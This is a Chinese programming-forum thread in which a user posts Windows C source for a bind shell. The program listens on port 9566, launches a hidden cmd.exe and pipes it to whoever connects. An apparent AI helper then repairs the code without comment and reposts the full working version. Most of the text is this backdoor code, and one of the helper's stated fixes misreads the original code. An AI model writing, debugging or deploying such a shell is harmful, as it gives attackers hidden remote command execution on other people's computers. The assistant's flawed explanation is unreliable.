|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
#include "miliMM.h"
#include <Windows.h>
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0) {
return -1;
}
int iCurrSend = 0, offset = 0;
do {
iCurrSend = send(m_Sock, (char*)pBuf + offset, dwBufLen, 0);
if (iCurrSend <= 0) {
break;
}
dwBufLen -= iCurrSend;
offset += iCurrSend;
} while (dwBufLen > 0);
return offset;
}
DWORD WINAPI InputThread(LPVOID lpParam)
{
CThreadNode InputNode = *(CThreadNode*)lpParam;
TCHAR szBuffer[MAX_PATH] = { 0 };
DWORD RecvByte = 0, WriteByte;
while (TRUE)
{
RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
if (RecvByte > 0 && (RecvByte != SOCKET_ERROR))
{
WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
}
else
{
closesocket(InputNode.cSock);
WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
bExit = TRUE;
break;
}
Sleep(50);
}
return TRUE;
}
DWORD WINAPI OutputThread(LPVOID lpParam)
{
CThreadNode OutPutThread = *(CThreadNode*)lpParam;
DWORD ReadLen, dwTotalAvail;
TCHAR szBuffer[MAX_PATH];
BOOL bRet = FALSE;
while (!bExit)
{
bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
if (bRet && dwTotalAvail > 0)
{
bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
if (bRet && ReadLen > 0)
{
SendData(OutPutThread.cSock, szBuffer, ReadLen);
}
ZeroMemory(szBuffer, MAX_PATH);
Sleep(50);
}
}
return true;
}
BOOL InitSocket()
{
int Ret = 0;
WSADATA wsaData;
Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (Ret != 0)
{
MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
return false;
}
return true;
}
BOOL StartShell(UINT uPort)
{
SOCKET ListeningSocket, ClientSocket;
sockaddr_in ClientAddr;
int ClientAddrLen;
HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
HANDLE hInputThread, hOutputThread;
SECURITY_ATTRIBUTES sa;
STARTUPINFO StartInfo;
PROCESS_INFORMATION pi;
CThreadNode ReadNode, WriteNode;
if (!InitSocket())
{
MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
return false;
}
ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ListeningSocket == INVALID_SOCKET)
{
MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
WSACleanup();
return false;
}
sockaddr_in si = { 0 };
si.sin_family = AF_INET;
si.sin_port = htons(uPort);
si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
{
MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
if (listen(ListeningSocket, 5) == SOCKET_ERROR)
{
MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
}
ClientAddrLen = sizeof(SOCKADDR_IN);
if (ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen) == INVALID_SOCKET)
{
MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
{
//closesocket(ListeningSocket);
//closesocket(ClientSocket);
WSACleanup();
return false;
}
TCHAR szBuffer[MAX_PATH] = { 0 };
GetSystemDirectory(szBuffer, MAX_PATH);
lstrcat(szBuffer,TEXT("\\cmd.exe"));
GetStartupInfo(&StartInfo);
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfo.wShowWindow = SW_HIDE;
StartInfo.hStdInput = hReadpipe1;
StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;
if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
{
MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
//closesocket(ListeningSocket);
// closesocket(ClientSocket);
WSACleanup();
return false;
}
MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
//WaitForSingleObject(pi.hProcess, INFINITE);
ReadNode.cSock = WriteNode.cSock = ClientSocket;
ReadNode.handleNode = hWritepipe1;
hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
WriteNode.handleNode = hReadpipe2;
hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);
HANDLE hHandles[] = { hInputThread, hOutputThread };
WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);
return true;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
StartShell(9566);
return 0;
}
根据你的描述,telnet 连接后不能输入,随便按个字母就退出,有可能是多个原因导致。请检查以下几点:
1. 确保 Socket 初始化成功。
2. 确保命名管道(Pipe)创建成功。
3. 检查是否正确处理了 Socket 和 Pipe 的读取与写入。
4. 确保 CreateProcess 成功创建进程并且正确重定向了输入输出。
这里有一些具体需要修改和检查的地方:
1. 在 OutputThread 函数里定义的 szBuffer 应该是一个字符数组,而不是单个字符。
2. 在 accept 时的判断有误,用括号将赋值操作包含起来。
修改后的代码如下:
- #include "miliMM.h"
- #include <winsock2.h>
- #pragma comment(lib,"ws2_32.lib")
- BOOL bExit = FALSE;
- int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
- {
- if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
- return -1;
- return send(m_Sock, (char*)pBuf, dwBufLen, 0);
- }
- DWORD WINAPI InputThread(LPVOID lpParam)
- {
- CThreadNode InputNode = *(CThreadNode*)lpParam;
- char szBuffer[MAX_PATH];
- DWORD RecvByte, WriteByte;
- while (!bExit)
- {
- RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
- if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
- {
- WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
- }
- else
- {
- closesocket(InputNode.cSock);
- WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
- bExit = TRUE;
- break;
- }
- Sleep(50);
- }
- return TRUE;
- }
- DWORD WINAPI OutputThread(LPVOID lpParam)
- {
- CThreadNode OutPutThread = *(CThreadNode*)lpParam;
- DWORD ReadLen, dwTotalAvail;
- char szBuffer[MAX_PATH];
- BOOL bRet = FALSE;
- while (!bExit)
- {
- bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
- if (bRet && dwTotalAvail > 0)
- {
- bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
- if (bRet && ReadLen > 0)
- {
- SendData(OutPutThread.cSock, szBuffer, ReadLen);
- }
- ZeroMemory(szBuffer, MAX_PATH);
- Sleep(50);
- }
- }
- return true;
- }
- BOOL InitSocket()
- {
- int Ret = 0;
- WSADATA wsaData;
- Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
- if (Ret != 0)
- {
- MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
- return false;
- }
- return true;
- }
- BOOL StartShell(UINT uPort)
- {
- SOCKET ListeningSocket, ClientSocket;
- sockaddr_in ClientAddr;
- int ClientAddrLen;
- HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
- HANDLE hInputThread, hOutputThread;
- SECURITY_ATTRIBUTES sa;
- STARTUPINFO StartInfo;
- PROCESS_INFORMATION pi;
- CThreadNode ReadNode, WriteNode;
- if (!InitSocket())
- {
- MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
- return false;
- }
- ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (ListeningSocket == INVALID_SOCKET)
- {
- MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
- WSACleanup();
- return false;
- }
- sockaddr_in si = { 0 };
- si.sin_family = AF_INET;
- si.sin_port = htons(uPort);
- si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
- if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
- {
- MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
- closesocket(ListeningSocket);
- WSACleanup();
- return false;
- }
- if (listen(ListeningSocket, 5) == SOCKET_ERROR)
- {
- MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
- closesocket(ListeningSocket);
- WSACleanup();
- return false;
- }
- ClientAddrLen = sizeof(SOCKADDR_IN);
- ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
- if (ClientSocket == INVALID_SOCKET)
- {
- MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
- closesocket(ListeningSocket);
- WSACleanup();
- return false;
- }
- sa.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa.lpSecurityDescriptor = NULL;
- sa.bInheritHandle = TRUE;
- if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
- {
- WSACleanup();
- return false;
- }
- TCHAR szBuffer[MAX_PATH] = { 0 };
- GetSystemDirectory(szBuffer, MAX_PATH);
- lstrcat(szBuffer, TEXT("\\cmd.exe"));
- GetStartupInfo(&StartInfo);
- StartInfo.cb = sizeof(STARTUPINFO);
- StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- StartInfo.wShowWindow = SW_HIDE;
- StartInfo.hStdInput = hReadpipe1;
- StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;
- if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
- {
- MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
- WSACleanup();
- return false;
- }
- MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
- ReadNode.cSock = WriteNode.cSock = ClientSocket;
- ReadNode.handleNode = hWritepipe1;
- hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
- WriteNode.handleNode = hReadpipe2;
- hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);
- HANDLE hHandles[] = { hInputThread, hOutputThread };
- WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);
- return true;
- }
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
- {
- StartShell(9566);
- return 0;
- }
复制代码
请仔细检查代码中的注释和更改部分,并确保你在调试时可以看到更多的错误信息来帮助排除问题。如果仍然无法解决,请提供更多详细的错误信息以便进一步诊断。
以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
|
|